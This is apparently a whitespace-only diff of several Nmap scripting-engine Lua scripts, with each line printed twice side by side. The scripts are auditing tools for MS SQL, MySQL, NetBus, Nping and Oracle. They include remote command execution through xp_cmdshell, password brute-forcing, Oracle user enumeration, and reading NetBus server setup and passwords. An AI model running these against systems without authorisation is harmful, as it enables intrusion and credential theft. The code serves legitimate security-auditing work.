@@ -66,7 +66,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host; -- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
-- added compatibility with changes in mssql.lua (Chris Woodbury) -- added compatibility with changes in mssql.lua (Chris Woodbury)
author = "Patrik Karlsson" author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -82,95 +82,95 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance( instance ) local function process_instance( instance )
local status, result, rs local status, result, rs
local query, limit local query, limit
local output = {} local output = {}
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" } local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } ) local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )
and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5 and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
if ( RS_LIMIT <= 0 ) then if ( RS_LIMIT <= 0 ) then
limit = "" limit = ""
else else
limit = string.format( "TOP %d", RS_LIMIT ) limit = string.format( "TOP %d", RS_LIMIT )
end end
local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255), local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit, DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
Suspect bit, Offline bit, InLoad bit, EmergencyMode bit, Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]], StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
"INSERT INTO #hasaccess EXEC sp_MShasdbaccess", "INSERT INTO #hasaccess EXEC sp_MShasdbaccess",
("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)), ("SELECT %s dbname, owner FROM #hasaccess WHERE dbname NOT IN(%s)"):format(limit, stdnse.strjoin(",", exclude_dbs)),
"DROP TABLE #hasaccess" } "DROP TABLE #hasaccess" }
local creds = mssql.Helper.GetLoginCredentials_All( instance ) local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then if ( not creds ) then
output = "ERROR: No login credentials." output = "ERROR: No login credentials."
else else
for username, password in pairs( creds ) do for username, password in pairs( creds ) do
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance ) status, result = helper:ConnectEx( instance )
if ( not(status) ) then if ( not(status) ) then
output = "ERROR: " .. result output = "ERROR: " .. result
break break
end end
if ( status ) then if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip ) status = helper:Login( username, password, nil, instance.host.ip )
end end
if ( status ) then if ( status ) then
for _, q in pairs(query) do for _, q in pairs(query) do
status, result = helper:Query( q ) status, result = helper:Query( q )
if ( status ) then if ( status ) then
-- Only the SELECT statement should produce output -- Only the SELECT statement should produce output
if ( #result.rows > 0 ) then if ( #result.rows > 0 ) then
rs = result rs = result
end end
end end
end end
end end
helper:Disconnect() helper:Disconnect()
if ( status and rs ) then if ( status and rs ) then
result = mssql.Util.FormatOutputTable( rs, true ) result = mssql.Util.FormatOutputTable( rs, true )
result.name = username result.name = username
if ( RS_LIMIT > 0 ) then if ( RS_LIMIT > 0 ) then
result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT) result.name = result.name .. (" (Showing %d first results)"):format(RS_LIMIT)
end end
table.insert( output, result ) table.insert( output, result )
end end
end end
end end
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output ) table.insert( instanceOutput, output )
return instanceOutput return instanceOutput
end end
action = function( host, port ) action = function( host, port )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance ) local instanceOutput = process_instance( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -79,7 +79,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host; -- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
-- added compatibility with changes in mssql.lua (Chris Woodbury) -- added compatibility with changes in mssql.lua (Chris Woodbury)
author = "Patrik Karlsson" author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -94,73 +94,73 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance( instance ) local function process_instance( instance )
local status, result local status, result
local query local query
local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all' local cmd = stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) or 'ipconfig /all'
local output = {} local output = {}
query = ("EXEC master..xp_cmdshell '%s'"):format(cmd) query = ("EXEC master..xp_cmdshell '%s'"):format(cmd)
local creds = mssql.Helper.GetLoginCredentials_All( instance ) local creds = mssql.Helper.GetLoginCredentials_All( instance )
if ( not creds ) then if ( not creds ) then
output = "ERROR: No login credentials." output = "ERROR: No login credentials."
else else
for username, password in pairs( creds ) do for username, password in pairs( creds ) do
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
status, result = helper:ConnectEx( instance ) status, result = helper:ConnectEx( instance )
if ( not(status) ) then if ( not(status) ) then
output = "ERROR: " .. result output = "ERROR: " .. result
break break
end end
if ( status ) then if ( status ) then
status = helper:Login( username, password, nil, instance.host.ip ) status = helper:Login( username, password, nil, instance.host.ip )
end end
if ( status ) then if ( status ) then
status, result = helper:Query( query ) status, result = helper:Query( query )
end end
helper:Disconnect() helper:Disconnect()
if ( status ) then if ( status ) then
output = mssql.Util.FormatOutputTable( result, true ) output = mssql.Util.FormatOutputTable( result, true )
output[ "name" ] = string.format( "Command: %s", cmd ) output[ "name" ] = string.format( "Command: %s", cmd )
break break
elseif ( result and result:gmatch("xp_configure") ) then elseif ( result and result:gmatch("xp_configure") ) then
if( nmap.verbosity() > 1 ) then if( nmap.verbosity() > 1 ) then
output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online." output = "Procedure xp_cmdshell disabled. For more information see \"Surface Area Configuration\" in Books Online."
end end
end end
end end
end end
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, output ) table.insert( instanceOutput, output )
return instanceOutput return instanceOutput
end end
action = function( host, port ) action = function( host, port )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance ) local instanceOutput = process_instance( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then if ( not(stdnse.get_script_args( {'ms-sql-xp-cmdshell.cmd', 'mssql-xp-cmdshell.cmd'} ) ) ) then
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)") table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-xp-cmdshell.cmd='<CMD>' to change command.)")
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -15,7 +15,7 @@ audits by creating appropriate audit files).
--- ---
-- @usage -- @usage
-- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \ -- nmap -p 3306 --script mysql-audit --script-args "mysql-audit.username='root', \
-- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'" -- mysql-audit.password='foobar',mysql-audit.filename='nselib/data/mysql-cis.audit'"
-- --
-- @args mysql-audit.username the username with which to connect to the database -- @args mysql-audit.username the username with which to connect to the database
-- @args mysql-audit.password the password with which to connect to the database -- @args mysql-audit.password the password with which to connect to the database
@@ -94,89 +94,89 @@ portrule = shortport.port_or_service(3306, "mysql")
local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", "" local TEMPLATE_NAME, ADMIN_ACCOUNTS = "", ""
local function loadAuditRulebase( filename ) local function loadAuditRulebase( filename )
local rules = {} local rules = {}
local env = setmetatable({ local env = setmetatable({
test = function(t) table.insert(rules, t) end; test = function(t) table.insert(rules, t) end;
}, {__index = _G}) }, {__index = _G})
local file, err = loadfile(filename, "t", env) local file, err = loadfile(filename, "t", env)
if ( not(file) ) then if ( not(file) ) then
return false, ("ERROR: Failed to load rulebase:\n%s"):format(err) return false, ("ERROR: Failed to load rulebase:\n%s"):format(err)
end end
file() file()
TEMPLATE_NAME = env.TEMPLATE_NAME TEMPLATE_NAME = env.TEMPLATE_NAME
ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS ADMIN_ACCOUNTS = env.ADMIN_ACCOUNTS
return true, rules return true, rules
end end
action = function( host, port ) action = function( host, port )
local username = stdnse.get_script_args("mysql-audit.username") local username = stdnse.get_script_args("mysql-audit.username")
local password = stdnse.get_script_args("mysql-audit.password") local password = stdnse.get_script_args("mysql-audit.password")
local filename = stdnse.get_script_args("mysql-audit.filename") local filename = stdnse.get_script_args("mysql-audit.filename")
if ( not(filename) ) then if ( not(filename) ) then
return "\n No audit rulebase file was supplied (see mysql-audit.filename)" return "\n No audit rulebase file was supplied (see mysql-audit.filename)"
end end
if ( not(username) ) then if ( not(username) ) then
return "\n No username was supplied (see mysql-audit.username)" return "\n No username was supplied (see mysql-audit.username)"
end end
local status, tests = loadAuditRulebase( filename ) local status, tests = loadAuditRulebase( filename )
if( not(status) ) then return tests end if( not(status) ) then return tests end
local socket = nmap.new_socket() local socket = nmap.new_socket()
status = socket:connect(host, port) status = socket:connect(host, port)
local response local response
status, response = mysql.receiveGreeting( socket ) status, response = mysql.receiveGreeting( socket )
if ( not(status) ) then return response end if ( not(status) ) then return response end
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt ) status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
if ( not(status) ) then return "ERROR: Failed to authenticate" end if ( not(status) ) then return "ERROR: Failed to authenticate" end
local results = {} local results = {}
for _, test in ipairs(tests) do for _, test in ipairs(tests) do
local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql local queries = ( "string" == type(test.sql) ) and { test.sql } or test.sql
local rowstab = {} local rowstab = {}
for _, query in ipairs(queries) do for _, query in ipairs(queries) do
local row local row
status, row = mysql.sqlQuery( socket, query ) status, row = mysql.sqlQuery( socket, query )
if ( not(status) ) then if ( not(status) ) then
table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } ) table.insert( results, { ("%s: ERROR: Failed to execute SQL statement"):format(test.id) } )
else else
table.insert(rowstab, row) table.insert(rowstab, row)
end end
end end
if ( #rowstab > 0 ) then if ( #rowstab > 0 ) then
local result_part = {} local result_part = {}
local res = test.check(rowstab) local res = test.check(rowstab)
local status, data = res.status, res.result local status, data = res.status, res.result
status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL") status = ( res.review and "REVIEW" ) or (status and "PASS" or "FAIL")
table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) ) table.insert( result_part, ("%s: %s => %s"):format(test.id, test.desc, status) )
if ( data ) then if ( data ) then
table.insert(result_part, { data } ) table.insert(result_part, { data } )
end end
table.insert( results, result_part ) table.insert( results, result_part )
end end
end end
socket:close() socket:close()
results.name = TEMPLATE_NAME results.name = TEMPLATE_NAME
table.insert(results, "") table.insert(results, "")
table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username), table.insert(results, {name = "Additional information", ("The audit was performed using the db-account: %s"):format(username),
("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS)) ("The following admin accounts were excluded from the audit: %s"):format(stdnse.strjoin(",", ADMIN_ACCOUNTS))
}) })
return stdnse.format_output(true, { results }) return stdnse.format_output(true, { results })
end end

View File

@@ -63,112 +63,112 @@ dependencies = {"netbus-version", "netbus-brute"}
portrule = shortport.port_or_service (12345, "netbus", {"tcp"}) portrule = shortport.port_or_service (12345, "netbus", {"tcp"})
local function format_acl(acl) local function format_acl(acl)
if acl == nil then if acl == nil then
return {} return {}
end end
local payload = string.sub(acl, 9) --skip header local payload = string.sub(acl, 9) --skip header
local fields = stdnse.strsplit("|", payload) local fields = stdnse.strsplit("|", payload)
table.remove(fields, (# fields)) table.remove(fields, (# fields))
fields["name"] = "ACL" fields["name"] = "ACL"
return fields return fields
end end
local function format_apps(apps) local function format_apps(apps)
if apps == nil then if apps == nil then
return {} return {}
end end
local payload = string.sub(apps, 10) --skip header local payload = string.sub(apps, 10) --skip header
local fields = stdnse.strsplit("|", payload) local fields = stdnse.strsplit("|", payload)
table.remove(fields, (# fields)) table.remove(fields, (# fields))
fields["name"] = "APPLICATIONS" fields["name"] = "APPLICATIONS"
return fields return fields
end end
local function format_info(info) local function format_info(info)
if info == nil then if info == nil then
return {} return {}
end end
local payload = string.sub(info, 6) --skip header local payload = string.sub(info, 6) --skip header
local fields = stdnse.strsplit("|", payload) local fields = stdnse.strsplit("|", payload)
fields["name"] = "INFO" fields["name"] = "INFO"
return fields return fields
end end
local function format_setup(setup) local function format_setup(setup)
local formatted = {} local formatted = {}
if setup == nil then if setup == nil then
return formatted return formatted
end end
local fields = stdnse.strsplit(";", setup) local fields = stdnse.strsplit(";", setup)
if # fields < 7 then if # fields < 7 then
return formatted return formatted
end end
formatted["name"] = "SETUP" formatted["name"] = "SETUP"
table.insert(formatted, string.format("TCP-port: %s", fields[2])) table.insert(formatted, string.format("TCP-port: %s", fields[2]))
table.insert(formatted, string.format("Log traffic: %s", fields[3])) table.insert(formatted, string.format("Log traffic: %s", fields[3]))
table.insert(formatted, string.format("Password: %s", fields[4])) table.insert(formatted, string.format("Password: %s", fields[4]))
table.insert(formatted, string.format("Notify to: %s", fields[5])) table.insert(formatted, string.format("Notify to: %s", fields[5]))
table.insert(formatted, string.format("Notify from: %s", fields[6])) table.insert(formatted, string.format("Notify from: %s", fields[6]))
table.insert(formatted, string.format("SMTP-server: %s", fields[7])) table.insert(formatted, string.format("SMTP-server: %s", fields[7]))
return formatted return formatted
end end
local function format_volume(volume) local function format_volume(volume)
local formatted = {} local formatted = {}
if volume == nil then if volume == nil then
return formatted return formatted
end end
local fields = stdnse.strsplit(";", volume) local fields = stdnse.strsplit(";", volume)
if # fields < 4 then if # fields < 4 then
return formatted return formatted
end end
formatted["name"] = "VOLUME" formatted["name"] = "VOLUME"
table.insert(formatted, string.format("Wave: %s", fields[2])) table.insert(formatted, string.format("Wave: %s", fields[2]))
table.insert(formatted, string.format("Synth: %s", fields[3])) table.insert(formatted, string.format("Synth: %s", fields[3]))
table.insert(formatted, string.format("Cd: %s", fields[4])) table.insert(formatted, string.format("Cd: %s", fields[4]))
return formatted return formatted
end end
action = function( host, port ) action = function( host, port )
local password = nmap.registry.args[SCRIPT_NAME .. ".password"] local password = nmap.registry.args[SCRIPT_NAME .. ".password"]
if not password and nmap.registry.netbuspasswords then if not password and nmap.registry.netbuspasswords then
local key = string.format("%s:%d", host.ip, port.number) local key = string.format("%s:%d", host.ip, port.number)
password = nmap.registry.netbuspasswords[key] password = nmap.registry.netbuspasswords[key]
end end
if not password then if not password then
password = "" password = ""
end end
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
local status, err = socket:connect(host.ip, port.number) local status, err = socket:connect(host.ip, port.number)
local buffer, err = stdnse.make_buffer(socket, "\r") local buffer, err = stdnse.make_buffer(socket, "\r")
local _ = buffer() local _ = buffer()
socket:send(string.format("Password;1;%s\r", password)) socket:send(string.format("Password;1;%s\r", password))
local gotin = buffer() local gotin = buffer()
if gotin == "Access;0" then if gotin == "Access;0" then
return return
end end
socket:send("GetInfo\r") socket:send("GetInfo\r")
local info = buffer() local info = buffer()
socket:send("GetSetup\r") socket:send("GetSetup\r")
local setup = buffer() local setup = buffer()
socket:send("GetACL\r") socket:send("GetACL\r")
local acl = buffer() local acl = buffer()
socket:send("GetApps\r") socket:send("GetApps\r")
local apps = buffer() local apps = buffer()
socket:send("GetVolume\r") socket:send("GetVolume\r")
local volume = buffer() local volume = buffer()
socket:close() socket:close()
local response = {} local response = {}
table.insert(response, format_acl(acl)) table.insert(response, format_acl(acl))
table.insert(response, format_apps(apps)) table.insert(response, format_apps(apps))
table.insert(response, format_info(info)) table.insert(response, format_info(info))
table.insert(response, format_setup(setup)) table.insert(response, format_setup(setup))
table.insert(response, format_volume(volume)) table.insert(response, format_volume(volume))
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -35,127 +35,127 @@ categories = {"brute", "intrusive"}
portrule = shortport.port_or_service(9929, "nping-echo") portrule = shortport.port_or_service(9929, "nping-echo")
local function randombytes(x) local function randombytes(x)
local bytes = "" local bytes = ""
for i = 1, x do for i = 1, x do
bytes = bytes .. bin.pack("C", math.random(0x00, 0xff)) bytes = bytes .. bin.pack("C", math.random(0x00, 0xff))
end end
return bytes return bytes
end end
local function readmessage(socket, length) local function readmessage(socket, length)
local msg = "" local msg = ""
while #msg < length do while #msg < length do
local status, tmp = socket:receive_bytes(1) local status, tmp = socket:receive_bytes(1)
if not status then if not status then
return nil return nil
end end
msg = msg .. tmp msg = msg .. tmp
end end
return msg return msg
end end
Driver = Driver =
{ {
NEP_VERSION = 0x01, NEP_VERSION = 0x01,
AES_128_CBC = "aes-128-cbc", AES_128_CBC = "aes-128-cbc",
SHA256 = "sha256", SHA256 = "sha256",
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
nepkey = function(self, password, nonce, typeid) nepkey = function(self, password, nonce, typeid)
local seed = password .. nonce .. typeid local seed = password .. nonce .. typeid
local h = openssl.digest(self.SHA256, seed) local h = openssl.digest(self.SHA256, seed)
for i = 1, 1000 do for i = 1, 1000 do
h = openssl.digest(self.SHA256, h) h = openssl.digest(self.SHA256, h)
end end
local _, key = bin.unpack("A16", h) local _, key = bin.unpack("A16", h)
return key return key
end, end,
getservernonce = function(self, serverhs) getservernonce = function(self, serverhs)
local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)} local parts = {bin.unpack("CC>S>I>Ix4A32x15A32", serverhs)}
return parts[7] return parts[7]
end, end,
chsbody = function(self) chsbody = function(self)
local IP4 = 0x04 local IP4 = 0x04
local IP6 = 0x06 local IP6 = 0x06
local family = IP6 local family = IP6
local target = self.host.bin_ip local target = self.host.bin_ip
if #target == 4 then if #target == 4 then
target = bin.pack("Ax12", target) target = bin.pack("Ax12", target)
family = IP4 family = IP4
end end
return bin.pack("ACx15", target, family) return bin.pack("ACx15", target, family)
end, end,
clienths = function(self, snonce, password) clienths = function(self, snonce, password)
local NEP_HANDSHAKE_CLIENT = 0x02 local NEP_HANDSHAKE_CLIENT = 0x02
local NEP_HANDSHAKE_CLIENT_LEN = 36 local NEP_HANDSHAKE_CLIENT_LEN = 36
local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server" local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server" local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
local now = nmap.clock() local now = nmap.clock()
local seqb = randombytes(4) local seqb = randombytes(4)
local cnonce = randombytes(32) local cnonce = randombytes(32)
local nonce = snonce .. cnonce local nonce = snonce .. cnonce
local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID) local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID) local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
local _, iv = bin.unpack("A16", cnonce) local _, iv = bin.unpack("A16", cnonce)
local plain = self:chsbody() local plain = self:chsbody()
local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain) local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce) local head = bin.pack("CC>SA>Ix4A", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now, nonce)
local mac = openssl.hmac(self.SHA256, mackey, head .. plain) local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
return head .. crypted .. mac return head .. crypted .. mac
end, end,
testpass = function(self, password) testpass = function(self, password)
local SERVERHS_LEN = 96 local SERVERHS_LEN = 96
local FINALHS_LEN = 112 local FINALHS_LEN = 112
local serverhs = readmessage(self.socket, SERVERHS_LEN) local serverhs = readmessage(self.socket, SERVERHS_LEN)
if serverhs == nil then if serverhs == nil then
return false return false
end end
local snonce = self:getservernonce(serverhs) local snonce = self:getservernonce(serverhs)
local response = self:clienths(snonce, password) local response = self:clienths(snonce, password)
self.socket:send(response) self.socket:send(response)
local finalhs = readmessage(self.socket, FINALHS_LEN) local finalhs = readmessage(self.socket, FINALHS_LEN)
if finalhs == nil then if finalhs == nil then
return false return false
end end
return true return true
end, end,
connect = function(self) connect = function(self)
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
return self.socket:connect(self.host, self.port) return self.socket:connect(self.host, self.port)
end, end,
login = function(self, _, password) login = function(self, _, password)
if self:testpass(password) then if self:testpass(password) then
return true, brute.Account:new("", password, creds.State.VALID) return true, brute.Account:new("", password, creds.State.VALID)
end end
return false, brute.Error:new("Incorrect password") return false, brute.Error:new("Incorrect password")
end, end,
disconnect = function(self) disconnect = function(self)
return self.socket:close() return self.socket:close()
end, end,
} }
action = function(host, port) action = function(host, port)
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.firstonly = true engine.options.firstonly = true
engine.options:setOption("passonly", true) engine.options:setOption("passonly", true)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -48,26 +48,26 @@ portrule = shortport.port_or_service(1521, 'oracle-tns' )
local function checkAccount( host, port, user ) local function checkAccount( host, port, user )
local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] ) local helper = tns.Helper:new( host, port, nmap.registry.args['oracle-enum-users.sid'] )
local status, data = helper:Connect() local status, data = helper:Connect()
local tnscomm, auth local tnscomm, auth
local auth_options = tns.AuthOptions:new() local auth_options = tns.AuthOptions:new()
if ( not(status) ) then if ( not(status) ) then
return false, data return false, data
end end
-- A bit ugly, the helper should probably provide a getSocket function -- A bit ugly, the helper should probably provide a getSocket function
tnscomm = tns.Comm:new( helper.tnssocket ) tnscomm = tns.Comm:new( helper.tnssocket )
status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) ) status, auth = tnscomm:exchTNSPacket( tns.Packet.PreAuth:new( user, auth_options, helper.os ) )
if ( not(status) ) then if ( not(status) ) then
return false, auth return false, auth
end end
helper:Close() helper:Close()
return true, auth["AUTH_VFR_DATA"] return true, auth["AUTH_VFR_DATA"]
end end
---Generates a random string of the requested length. This can be used to check how hosts react to ---Generates a random string of the requested length. This can be used to check how hosts react to
@@ -76,85 +76,85 @@ end
--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. --@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore.
--@return The random string. --@return The random string.
local function get_random_string(length, set) local function get_random_string(length, set)
if(length == nil) then if(length == nil) then
length = 8 length = 8
end end
if(set == nil) then if(set == nil) then
set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_" set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
end end
local str = "" local str = ""
for i = 1, length, 1 do for i = 1, length, 1 do
local random = math.random(#set) local random = math.random(#set)
str = str .. string.sub(set, random, random) str = str .. string.sub(set, random, random)
end end
return str return str
end end
action = function( host, port ) action = function( host, port )
local known_good_accounts = { "system", "sys", "dbsnmp", "scott" } local known_good_accounts = { "system", "sys", "dbsnmp", "scott" }
local status, salt local status, salt
local count = 0 local count = 0
local result = {} local result = {}
local usernames local usernames
if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then if ( not( nmap.registry.args['oracle-enum-users.sid'] ) and not( nmap.registry.args['tns.sid'] ) ) then
return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)" return "ERROR: Oracle instance not set (see oracle-enum-users.sid or tns.sid)"
end end
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if( not(status) ) then if( not(status) ) then
return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary") return stdnse.format_output(true, "ERROR: Failed to load the usernames dictionary")
end end
-- Check for some known good accounts -- Check for some known good accounts
for _, user in ipairs( known_good_accounts ) do for _, user in ipairs( known_good_accounts ) do
status, salt = checkAccount(host, port, user) status, salt = checkAccount(host, port, user)
if( not(status) ) then return salt end if( not(status) ) then return salt end
if ( salt ) then if ( salt ) then
count = count + #salt count = count + #salt
end end
end end
-- did we atleast get a single salt back? -- did we atleast get a single salt back?
if ( count < 20 ) then if ( count < 20 ) then
return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)") return stdnse.format_output(true, "ERROR: None of the known accounts were detected (oracle < 11g)")
end end
-- Check for some known bad accounts -- Check for some known bad accounts
count = 0 count = 0
for i=1, 10 do for i=1, 10 do
local user = get_random_string(10) local user = get_random_string(10)
status, salt = checkAccount(host, port, user) status, salt = checkAccount(host, port, user)
if( not(status) ) then return salt end if( not(status) ) then return salt end
if ( salt ) then if ( salt ) then
count = count + #salt count = count + #salt
end end
end end
-- It's unlikely that we hit 3 random combinations as valid users -- It's unlikely that we hit 3 random combinations as valid users
if ( count > 60 ) then if ( count > 60 ) then
return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10)) return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
end end
for user in usernames do for user in usernames do
status, salt = checkAccount(host, port, user) status, salt = checkAccount(host, port, user)
if ( not(status) ) then return salt end if ( not(status) ) then return salt end
if ( salt and #salt == 20 ) then if ( salt and #salt == 20 ) then
table.insert( result, ("%s is a valid user account"):format(user)) table.insert( result, ("%s is a valid user account"):format(user))
end end
end end
if ( #result == 0 ) then if ( #result == 0 ) then
table.insert( result, "Failed to find any valid user accounts") table.insert( result, "Failed to find any valid user accounts")
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -55,15 +55,15 @@ local tns_type = {CONNECT=1, REFUSE=4, REDIRECT=5, RESEND=11}
-- --
local function create_tns_header(packetType, packetLength) local function create_tns_header(packetType, packetLength)
local request = bin.pack( ">SSCCS", local request = bin.pack( ">SSCCS",
packetLength + 34, -- Packet Length packetLength + 34, -- Packet Length
0, -- Packet Checksum 0, -- Packet Checksum
tns_type[packetType], -- Packet Type tns_type[packetType], -- Packet Type
0, -- Reserved Byte 0, -- Reserved Byte
0 -- Header Checksum 0 -- Header Checksum
) )
return request return request
end end
@@ -77,32 +77,32 @@ end
-- --
local function create_connect_packet( host_ip, port_no, sid ) local function create_connect_packet( host_ip, port_no, sid )
local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")" local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")"
connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))" connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))"
